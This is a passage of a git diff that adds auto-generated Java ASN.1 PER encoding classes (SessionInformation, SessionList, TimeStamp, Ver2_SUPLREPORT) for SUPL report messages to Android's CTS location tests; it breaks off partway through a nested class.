+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SessionInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SessionInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SessionInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SessionInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SessionInformation != null) {
+ return ImmutableList.of(TAG_SessionInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SessionInformation from encoded stream.
+ */
+ public static SessionInformation fromPerUnaligned(byte[] encodedBytes) {
+ SessionInformation result = new SessionInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SessionInformation from encoded stream.
+ */
+ public static SessionInformation fromPerAligned(byte[] encodedBytes) {
+ SessionInformation result = new SessionInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SessionID sessionID_;
+ public SessionID getSessionID() {
+ return sessionID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionID
+ */
+ public void setSessionID(Asn1Object value) {
+ this.sessionID_ = (SessionID) value;
+ }
+ public SessionID setSessionIDToNewInstance() {
+ sessionID_ = new SessionID();
+ return sessionID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSessionID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSessionID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSessionIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sessionID : "
+ + getSessionID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SessionInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java
new file mode 100755
index 0000000..65085b7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SessionList
+ extends Asn1SequenceOf<SessionInformation> {
+ //
+
+ private static final Asn1Tag TAG_SessionList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SessionList() {
+ super();
+ setMinSize(1);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SessionList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SessionList != null) {
+ return ImmutableList.of(TAG_SessionList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SessionList from encoded stream.
+ */
+ public static SessionList fromPerUnaligned(byte[] encodedBytes) {
+ SessionList result = new SessionList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SessionList from encoded stream.
+ */
+ public static SessionList fromPerAligned(byte[] encodedBytes) {
+ SessionList result = new SessionList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SessionInformation createAndAddValue() {
+ SessionInformation value = new SessionInformation();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SessionList = [\n");
+ final String internalIndent = indent + " ";
+ for (SessionInformation value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java
new file mode 100755
index 0000000..f62caeb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java
@@ -0,0 +1,521 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.Asn1UTCTime;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TimeStamp extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_TimeStamp
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "TimeStamp: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public TimeStamp() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeStamp;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeStamp != null) {
+ return ImmutableList.of(TAG_TimeStamp);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new TimeStamp from encoded stream.
+ */
+ public static TimeStamp fromPerUnaligned(byte[] encodedBytes) {
+ TimeStamp result = new TimeStamp();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeStamp from encoded stream.
+ */
+ public static TimeStamp fromPerAligned(byte[] encodedBytes) {
+ TimeStamp result = new TimeStamp();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $AbsoluteTime(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new TimeStamp.absoluteTimeType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeStamp.absoluteTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $RelativeTime(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new TimeStamp.relativeTimeType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeStamp.relativeTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+ /*
+ */
+
+
+//
+
+/**
+ */
+public static class absoluteTimeType extends Asn1UTCTime {
+ //
+
+ private static final Asn1Tag TAG_absoluteTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public absoluteTimeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_absoluteTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_absoluteTimeType != null) {
+ return ImmutableList.of(TAG_absoluteTimeType);
+ } else {
+ return Asn1UTCTime.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new absoluteTimeType from encoded stream.
+ */
+ public static absoluteTimeType fromPerUnaligned(byte[] encodedBytes) {
+ absoluteTimeType result = new absoluteTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new absoluteTimeType from encoded stream.
+ */
+ public static absoluteTimeType fromPerAligned(byte[] encodedBytes) {
+ absoluteTimeType result = new absoluteTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "absoluteTimeType = [ " + toHumanReadableString() + " ];\n";
+ }
+
+}
+
+
+ public boolean isAbsoluteTime() {
+ return !hasExtensionValue() && Select.$AbsoluteTime == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isAbsoluteTime}.
+ */
+ @SuppressWarnings("unchecked")
+ public TimeStamp.absoluteTimeType getAbsoluteTime() {
+ if (!isAbsoluteTime()) {
+ throw new IllegalStateException("TimeStamp value not a AbsoluteTime");
+ }
+ return (TimeStamp.absoluteTimeType) element;
+ }
+
+ public void setAbsoluteTime(TimeStamp.absoluteTimeType selected) {
+ selection = Select.$AbsoluteTime;
+ extension = false;
+ element = selected;
+ }
+
+ public TimeStamp.absoluteTimeType setAbsoluteTimeToNewInstance() {
+ TimeStamp.absoluteTimeType element = new TimeStamp.absoluteTimeType();
+ setAbsoluteTime(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class relativeTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_relativeTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public relativeTimeType() {
+ super();
+ setValueRange("0", "31536000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_relativeTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_relativeTimeType != null) {
+ return ImmutableList.of(TAG_relativeTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new relativeTimeType from encoded stream.
+ */
+ public static relativeTimeType fromPerUnaligned(byte[] encodedBytes) {
+ relativeTimeType result = new relativeTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new relativeTimeType from encoded stream.
+ */
+ public static relativeTimeType fromPerAligned(byte[] encodedBytes) {
+ relativeTimeType result = new relativeTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "relativeTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+ public boolean isRelativeTime() {
+ return !hasExtensionValue() && Select.$RelativeTime == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isRelativeTime}.
+ */
+ @SuppressWarnings("unchecked")
+ public TimeStamp.relativeTimeType getRelativeTime() {
+ if (!isRelativeTime()) {
+ throw new IllegalStateException("TimeStamp value not a RelativeTime");
+ }
+ return (TimeStamp.relativeTimeType) element;
+ }
+
+ public void setRelativeTime(TimeStamp.relativeTimeType selected) {
+ selection = Select.$RelativeTime;
+ extension = false;
+ element = selected;
+ }
+
+ public TimeStamp.relativeTimeType setRelativeTimeToNewInstance() {
+ TimeStamp.relativeTimeType element = new TimeStamp.relativeTimeType();
+ setRelativeTime(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "TimeStamp = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
new file mode 100755
index 0000000..be2a7b2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.ulp_components.Ver;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLREPORT extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLREPORT
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLREPORT() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLREPORT;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLREPORT != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLREPORT);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLREPORT from encoded stream.
+ */
+ public static Ver2_SUPLREPORT fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLREPORT result = new Ver2_SUPLREPORT();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLREPORT from encoded stream.
+ */
+ public static Ver2_SUPLREPORT fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLREPORT result = new Ver2_SUPLREPORT();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SessionList sessionList_;
+ public SessionList getSessionList() {
+ return sessionList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionList
+ */
+ public void setSessionList(Asn1Object value) {
+ this.sessionList_ = (SessionList) value;
+ }
+ public SessionList setSessionListToNewInstance() {
+ sessionList_ = new SessionList();
+ return sessionList_;
+ }
+
+ private SETCapabilities sETCapabilities_;
+ public SETCapabilities getSETCapabilities() {
+ return sETCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETCapabilities
+ */
+ public void setSETCapabilities(Asn1Object value) {
+ this.sETCapabilities_ = (SETCapabilities) value;
+ }
+ public SETCapabilities setSETCapabilitiesToNewInstance() {
+ sETCapabilities_ = new SETCapabilities();
+ return sETCapabilities_;
+ }
+
+ private ReportDataList reportDataList_;
+ public ReportDataList getReportDataList() {
+ return reportDataList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportDataList
+ */
+ public void setReportDataList(Asn1Object value) {
+ this.reportDataList_ = (ReportDataList) value;
+ }
+ public ReportDataList setReportDataListToNewInstance() {
+ reportDataList_ = new ReportDataList();
+ return reportDataList_;
+ }
+
+ private Ver ver_;
+ public Ver getVer() {
+ return ver_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver
+ */
+ public void setVer(Asn1Object value) {
+ this.ver_ = (Ver) value;
+ }
+ public Ver setVerToNewInstance() {
+ ver_ = new Ver();
+ return ver_;
+ }
+
+ private Ver2_SUPLREPORT.moreComponentsType moreComponents_;
+ public Ver2_SUPLREPORT.moreComponentsType getMoreComponents() {
+ return moreComponents_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPLREPORT.moreComponentsType
+ */
+ public void setMoreComponents(Asn1Object value) {
+ this.moreComponents_ = (Ver2_SUPLREPORT.moreComponentsType) value;
+ }
+ public Ver2_SUPLREPORT.moreComponentsType setMoreComponentsToNewInstance() {
+ moreComponents_ = new Ver2_SUPLREPORT.moreComponentsType();
+ return moreComponents_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSessionList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSessionList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSessionListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sessionList : "
+ + getSessionList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETCapabilities : "
+ + getSETCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportDataList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportDataList();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportDataListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportDataList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportDataList : "
+ + getReportDataList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getVer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVer();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver : "
+ + getVer().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getMoreComponents() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMoreComponents();
+ }
+
+ @Override public void setToNewInstance() {
+ setMoreComponentsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver2_SUPLREPORT.moreComponentsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "moreComponents : "
+ + getMoreComponents().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class moreComponentsType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_moreComponentsType
